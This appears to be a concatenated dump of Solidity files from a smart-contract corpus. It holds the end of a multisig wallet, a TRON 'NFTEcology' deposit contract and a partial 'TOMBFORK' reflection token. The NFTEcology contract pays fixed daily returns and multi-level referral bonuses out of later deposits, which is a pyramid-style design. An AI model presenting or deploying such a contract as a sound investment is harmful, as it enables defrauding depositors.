if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners, uint _required)
validRequirement(_owners.length, _required)
{
for (uint i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != (address)(0));
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
require (owners.length > 1, "owners.length must larger than 1");
isOwner[owner] = false;
for (uint i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
owners.pop();
break;
}
// owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i = 0; i < owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
emit OwnerRemoval(owner);
emit OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
emit RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return transactionId Returns transaction ID.
function submitTransaction(address destination, uint value, bytes memory data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public payable
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
emit Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
emit Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public payable
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
emit Execution(transactionId);
else {
emit ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes memory data) internal returns (bool) {
//return tx.destination.call.gas(gasleft()-34710).value(tx.value)(tx.data);
bool result;
uint __gas = gasleft() - 34710;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
// 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
result := call(__gas,
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
view
returns (bool)
{
uint count = 0;
for (uint i = 0; i < owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return transactionId Returns transaction ID.
function addTransaction(address destination, uint value, bytes memory data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination : destination,
value : value,
data : data,
executed : false
});
transactionCount += 1;
emit Submission(transactionId);
}
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return count Number of confirmations.
function getConfirmationCount(uint transactionId)
public
view
returns (uint count)
{
for (uint i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return count Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
view
returns (uint count)
{
for (uint i = 0; i < transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
view
returns (address[] memory)
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return _confirmations Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
view
returns (address[] memory _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i = 0; i < owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i = 0; i < count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return _transactionIds Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
view
returns (uint[] memory _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i = 0; i < transactionCount; i++)
if (pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i = from; i < to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
| 240,570 | 12,439 |
8166ac253205cf43bf2a371804dec7088f34e865d61dc0c917374f24f9d1d535
| 15,043 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TS/TSwfCVcNtUqeNWWDhVrjwECH5haeJ4vhwE_NFTEcology.sol
| 4,560 | 14,621 |
//SourceUnit: NFTEcology.sol
pragma solidity >=0.4.22 <0.6.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract NFTEcology {
struct User {
uint256 cycle;
address upline;
uint256 referrals;
uint256 payouts;
uint256 direct_bonus;
uint256 pool_bonus;
uint256 match_bonus;
uint256 deposit_amount;
uint256 deposit_payouts;
uint40 deposit_time;
uint256 total_deposits;
uint256 total_payouts;
uint256 total_structure;
uint256 srewards;
}
address payable public owner;
address payable[] public market_fee;
address payable public foundation_fee;
// address payable public trbchain_fund;
address public token_address;
address public welfare_fund_address;
uint256 public welfare_fund = 0;
mapping(address => User) public users;
uint256[] public cycles;
uint8[] public ref_bonuses; // 1 => 1%
uint8[] public pool_bonuses; // 1 => 1%
uint40 public pool_last_draw = uint40(block.timestamp);
uint256 public pool_cycle;
uint256 public pool_balance; // 3 => 3%
mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum;
mapping(uint8 => address) public pool_top;
uint256 public total_users = 1;
uint256 public total_deposited;
uint256 public total_withdraw;
uint256 public total_rewards;
event Upline(address indexed addr, address indexed upline);
event NewDeposit(address indexed addr, uint256 amount);
event DirectPayout(address indexed addr, address indexed from, uint256 amount);
event MatchPayout(address indexed addr, address indexed from, uint256 amount);
event PoolPayout(address indexed addr, uint256 amount);
event Withdraw(address indexed addr, uint256 amount);
event LimitReached(address indexed addr, uint256 amount);
constructor(address payable _owner) public {
owner = _owner;
token_address = address(0x413dfe637b2b9ae4190a458b5f3efc1969afe27819);
welfare_fund_address = address(0x413aa10b54331679780fee38070f8e3a7f04bf1f68);
market_fee.push(address(0x4142bcb1dbb518732cd686767b3ac1eeab4706a788));
market_fee.push(address(0x4143e3b6f4e994c6ceef3ec2e626dd847b03e24d2f));
market_fee.push(address(0x4126c5c18307294c45de382bda976b69c334ee41ef));
market_fee.push(address(0x41826d725eeb53dfdd15b00b484eee5654c15b35a1));
market_fee.push(address(0x418c95469178696c6cab4a8491e89c691b84639ae3));
market_fee.push(address(0x41e5c639b2cba9bff200db2a7de5a532b4a8bf0789));
market_fee.push(address(0x417ae30c860fbba832effb9a209e2a70f96dc083df));
ref_bonuses.push(20);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(10);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(2);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
ref_bonuses.push(5);
pool_bonuses.push(30);
pool_bonuses.push(20);
pool_bonuses.push(10);
pool_bonuses.push(10);
pool_bonuses.push(5);
pool_bonuses.push(5);
pool_bonuses.push(5);
pool_bonuses.push(5);
pool_bonuses.push(5);
pool_bonuses.push(5);
cycles.push(1e11);
cycles.push(3e11);
cycles.push(9e11);
cycles.push(2e12);
}
function() payable external {
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].deposit_time > 0 || _upline == owner)) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
total_users++;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner, "No upline");
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount");
}
else require(_amount >= 1e13 && _amount <= cycles[0], "Bad amount"); //
IERC20(token_address).transferFrom(_addr,address(this), _amount);
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
total_deposited += _amount;
emit NewDeposit(_addr, _amount);
if(users[_addr].upline != address(0)) {
users[users[_addr].upline].direct_bonus += _amount / 10;
emit DirectPayout(users[_addr].upline, _addr, _amount / 10);
}
// _pollDeposits(_addr, _amount);
// if(pool_last_draw + 1 days < block.timestamp) {
// _drawPool();
// }
for(uint8 i = 0; i < market_fee.length; i++) {
address payable up = market_fee[i];
if(up == address(0)) break;
IERC20(token_address).transferFrom(address(this),up, _amount * 2 / 100);
}
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount * 2 / 100;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if(users[up].referrals >= i + 1) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance / 10;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function deposit(address _upline, uint256 _amount) payable external {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, _amount);
}
function withdraw() external {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
// Deposit payout
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
// Direct payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
welfare_fund += to_payout * 5 / 100;
// msg.sender.transfer(to_payout);
IERC20(token_address).transferFrom(address(this),msg.sender, to_payout * 95 / 100);
IERC20(token_address).transferFrom(address(this),welfare_fund_address, to_payout * 5 / 100);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 20 / 10;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / 100) - users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
function approve() public payable onlyOwner returns (bool) {
// console.log("[ approve ] msg.sender | address ]", msg.sender, address(this));
return IERC20(token_address).approve(address(this), uint256(-1));
}
function userAllowance() public view returns (uint256) {
return IERC20(token_address).allowance(msg.sender,address(this));
}
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure, uint256 srewards) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure, users[_addr].srewards);
}
function contractInfo() view external returns(uint256 _total_users, uint256 _total_deposited, uint256 _total_rewards, uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) {
return (total_users, total_deposited, total_rewards, total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]);
}
function poolTopInfo() view external returns(address[10] memory addrs, uint256[10] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
}
| 286,210 | 12,440 |
01cb91807f663c3585ca3e5057baf5e7ff603d4c79825cd798f8ebb12818f86f
| 29,447 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/be/BE719d87596f6511DFc637Ce17848B644FFb83c1_TOMBFORK.sol
| 5,182 | 18,691 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract TOMBFORK is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'TOMB FORK';
string private constant _symbol = 'TOMBFORK';
uint256 private _taxFee = 400;
uint256 private _burnFee = 0;
uint public max_tx_size = 10000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x664bd3b5cAe8F2F72BCa546A0ED1f8Ee644dbf08, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
